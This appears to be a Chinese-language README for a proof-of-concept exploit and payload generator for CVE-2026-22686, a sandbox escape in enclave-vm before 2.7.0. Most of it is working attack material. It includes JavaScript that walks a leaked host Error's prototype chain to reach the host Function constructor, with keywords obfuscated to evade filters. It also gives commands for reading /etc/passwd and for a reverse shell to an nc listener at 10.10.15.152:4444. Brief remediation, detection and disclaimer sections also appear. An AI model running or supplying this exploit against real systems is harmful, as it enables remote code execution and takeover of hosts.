CVE-2026-22686 的概念验证漏洞利用与载荷生成器,该漏洞是 enclave-vm <2.7.0 中的沙箱逃逸,可导致任意代码执行和反向 shell。
针对 CVE-2026-22686 的概念验证(PoC)漏洞利用与载荷生成器。该漏洞是 enclave-vm 2.7.0 之前版本中的一个严重沙箱逃逸漏洞,允许在宿主 Node.js 运行时中执行任意代码。
⚠️ 免责声明:本工具仅供教育和授权安全测试目的使用。未经事先书面同意对系统进行使用属于违法行为。作者对任何滥用行为不承担任何责任。
enclave-vm 是一个 JavaScript 沙箱库,旨在在受控环境中安全地执行不受信任的代码。在 < 2.7.0 版本中,宿主侧错误对象暴露给沙箱的方式存在缺陷,允许攻击者遍历原型链并访问宿主的 Function 构造函数,从而有效逃逸沙箱。
本仓库包含:
当沙箱内的工具调用失败时,enclave-vm 会将宿主侧的 Error 对象暴露回沙箱代码。由于该错误对象保留了来自宿主环境的原始原型链,攻击者可以按如下方式向上遍历原型链:
Error 实例
└── Error.prototype
└── Error 构造函数
└── Function 构造函数 ← 宿主的 Function!
一旦获取了宿主的 Function 构造函数,攻击者就可以在宿主运行时中编译并执行任意 JavaScript——完全绕过沙箱。
该漏洞利用遵循以下步骤:
callTool('NONEXISTENT', {}))。Error.prototype.constructor.constructor,即宿主的 Function。Function 编译攻击者的载荷并执行它。child_process 并执行任意 shell 命令(或生成反向 shell)。所有敏感关键字(constructor、__proto__、__lookupGetter__、prototype)均以 ASCII 字符码进行混淆,以绕过简单的静态过滤器。
无外部依赖——仅使用 Python 标准库。
git clone https://github.com/moi_404/CVE-2026-22686-PoC.git
cd CVE-2026-22686-PoC
chmod +x generator.py
要求:
python3 generator.py
系统将提示您:
然后复制生成的载荷并将其粘贴到存在漏洞的沙箱输入中。
python3 generator.py -c "id"
python3 generator.py -c "cat /etc/passwd"
python3 generator.py -c "ls -la /home"
终端 1(攻击者 — 监听端):
nc -lvnp 4444
终端 2(生成器):
python3 generator.py --revshell 10.10.15.152 4444
复制生成的载荷并粘贴到沙箱中。您应该会在终端 1 中收到一个 shell。
python3 generator.py -c "id" --raw > payload.js
python3 generator.py --revshell 10.10.15.152 4444 --raw | xclip -selection clipboard
const s = (...args) => String.fromCharCode(...args);
一个用于在运行时解码 ASCII 码数组的小型辅助函数。
const kCon = s(99,111,110,115,116,114,117,99,116,111,114); // "constructor"
const kProto = s(95,95,112,114,111,116,111,95,95); // "__proto__"
const kLookup = s(95,95,108,111,111,107,117,112,71,101,116,116,101,114,95,95); // "__lookupGetter__"
const kPtype = s(112,114,111,116,111,116,121,112,101); // "prototype"
避免基于字符串的简单过滤器。
const ObjectProto = Object[kPtype];
const lookup = ObjectProto[kLookup];
const getProtoNative = lookup.call(ObjectProto, kProto);
let hostError;
try {
await callTool('NONEXISTENT', {});
} catch (e) {
hostError = e;
}
const errProto = getProtoNative.call(hostError);
const HostFunc = errProto[kCon][kCon]; // 宿主的 Function 构造函数
const result = HostFunc(payload)(); // 任意代码执行
然后使用宿主的 Function 通过 child_process.execSync() 执行攻击者的命令。
面向开发者:
enclave-vm 升级到 >= 2.7.0。npm audit、Snyk、Dependabot)。isolated-vm、gVisor、Firecracker)。面向用户 / 组织:
检测:
查找包含 callTool('NONEXISTENT'、__lookupGetter__、由逗号分隔的整数字面量组成的长数组,或 child_process / execSync 的 HTTP 请求或代码提交。
本项目严格出于教育和防御性安全研究目的发布。它面向安全研究人员、授权渗透测试人员和 CTF 玩家。
请勿对您不拥有或缺乏明确书面授权进行测试的系统使用本工具。 未经授权访问计算机系统在大多数司法管辖区均属违法(美国的 CFAA、英国的《计算机滥用法》、法国的第 323-1 条),并可能导致严厉的刑事处罚。
使用本软件即表示您同意,作者对因其使用而产生的任何损害或法律后果不承担责任。
本项目采用 MIT 许可证 — 详情请参阅 LICENSE 文件。
enclave-vm 维护者的负责任披露与修复欢迎提交 Pull Request。对于重大更改,请先开一个 issue。
建议的改进方向:
vm2、isolated-vm)| 字段 | 值 |
|---|
| CVE ID | CVE-2026-22686 |
| CVSS v3.1 | 10.0(严重) |
| CWE | CWE-693 — 保护机制失效 |
| 组件 | enclave-vm |
| 受影响版本 | < 2.7.0 |
| 修复版本 | 2.7.0 |
| 影响 | 沙箱逃逸 → 任意代码执行(RCE) |
| 标志 | 描述 |
|---|
-c, --command | 要执行的 shell 命令 |
--revshell LHOST LPORT | 生成反向 shell 载荷 |
--raw | 仅打印载荷(无横幅、无装饰) |
--lang {fr,en} | 强制指定界面语言 |
-h, --help | 显示帮助和示例 |